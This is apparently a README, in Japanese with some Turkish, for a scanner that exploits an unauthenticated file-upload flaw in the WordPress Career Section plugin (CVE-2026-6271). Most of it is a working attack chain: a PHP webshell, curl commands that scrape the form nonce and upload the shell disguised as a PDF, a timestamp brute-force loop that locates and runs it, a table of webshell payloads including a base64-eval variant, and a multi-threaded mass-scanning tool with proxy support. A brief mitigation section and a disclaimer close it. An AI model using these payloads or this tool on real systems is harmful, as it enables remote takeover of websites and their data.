
CVE-2026-6271の自動スキャナー - WordPress Career Sectionプラグインにおける認証なしの任意ファイルアップロードがリモートコード実行(RCE)につながる深刻な脆弱性。マルチスレッドスキャン、複数のシェルタイプ、プロキシ統合をサポート。
Plugin: Career Section (
career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H脆弱性の種類: 未認証の任意ファイルアップロード → リモートコード実行 影響を受けるバージョン: <= 1.7 修正バージョン: 1.8 公開日: 13 Mayıs 2026 研究者: Paolo Tresso — Wordfence
Career Sectionプラグインは、サイト所有者が求人情報を公開し、応募を受け付けることを可能にします。各求人ページには "Apply Now" フォームがあり、CVファイルのアップロードフィールドが含まれています。
バージョン1.7以前では、アップロードハンドラが任意のファイルタイプを受け入れます — .phpを含みます。フォームは公開されており、CSRFトークンはページのHTMLに埋め込まれているため、アカウントや権限を必要とせずにこの脆弱性を悪用できます。
WordPressのnonceはCSRFトークンであり、認証トークンではありません。nonce値は各訪問者に対してページのHTMLに埋め込まれます:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
認証されていない訪問者でも有効なnonceを取得し、検証チェックを通過できます。
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name()は特殊文字を除去するだけで、危険な拡張子をブロックしません。
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
このディレクトリにはPHPの実行を防ぐ.htaccessファイルはありません。
| 理由 | 説明 |
|---|---|
| 認証不要 | Nonceは公開HTMLに埋め込まれている |
| ファイルタイプ制限なし | .php, .php5, .phtmlを受け入れる |
.htaccess保護なし | アップロードディレクトリでPHPが実行される |
| 予測可能なファイル名 | time()_filename → タイムスタンプのブルートフォース |
⚠️ 免責事項: このPoCは教育目的のみです。所有しているシステム、または明示的な書面による許可を得たシステムでのみテストしてください。
前提条件:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
ページソースで検索する構造:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
ファイル名は <timestamp>_shell.php 形式です。
$TS 周辺のタイムスタンプを試します:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
期待される出力:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| パラメータ | 短縮 | 説明 | デフォルト |
|---|---|---|---|
--url | -u | 単一ターゲットURL | — |
--list | -l | ターゲットリストファイル | — |
--threads | -t | スレッド数 | 10 |
--output | -o | 出力ファイル | rce_confirmed.txt |
--job-url | — | ジョブリストURLを直接指定 | — |
--shell-name | — | アップロードするファイル名 | shell.php |
--shell-type | — | シェルの種類 | system |
--verify-cmd | — | RCE検証コマンド | id |
--ts-window | — | タイムスタンプブルートフォースウィンドウ (±秒) | 5 |
--proxy | — | プロキシURL | — |
--timeout | — | リクエストタイムアウト (秒) | 10 |
| 種類 | ペイロード | 説明 |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | 基本システムコマンド |
passthru | <?php passthru($_GET["cmd"]); ?> | 生出力 |
exec | <?php echo exec($_GET["cmd"]); ?> | サイレント実行 |
assert | <?php assert($_POST["cmd"]); ?> | POSTによるeval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64難読化 |
full | shell_exec + system + exec fallback | フル機能シェル |
WordPressルート/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← シェルはここ
直接アクセス:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| ステータス | 説明 |
|---|---|
★ RCE OK | シェルがアップロードされ、コマンドが正常に実行されました |
★ SHELL ALIVE | シェルにアクセス可能だが、異なる応答が返されました |
~ EXEC_DISABLED | シェルは存在するが、サーバーでexec()が無効 |
? UPLOADED | アップロードされたが、タイムスタンプが見つからない |
- BLOCKED | ファイルタイプがブロックされました (修正バージョン) |
~ NO_NONCE | csaf_form_nonceが見つからない |
~ TIMEOUT | 接続タイムアウト |
~ UNREACH | ターゲットに到達不能 |
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (kaynak: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (dosya tipi engellendi)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce bulunamadı)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| 対策 | 実装 |
|---|---|
| プラグイン更新 | Career Section 1.8以上にアップグレード |
| PHP実行の防止 | アップロードディレクトリに.htaccessを追加 |
| 拡張子ホワイトリスト | pdf, doc, docxのみ許可 |
| MIME検証 | finfo_file()で実際のコンテンツを確認 |
| WAFルール | .phpのアップロードリクエストをブロック |
wp-content/uploads/cs_applicant_submission_files/ディレクトリ用の.htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # メインスキャナー
├── requirements.txt # 依存関係
└── README.md # このファイル
このツールおよびPoCは、許可されたシステムにおいて、教育目的およびペネトレーションテストの範囲内でのみ使用するために作成されています。無許可のシステムでの使用は、トルコ刑法第243-245条および国際的なサイバー犯罪法の下で犯罪行為を構成します。開発者は、ツールの悪用から生じる法的責任を一切負いません。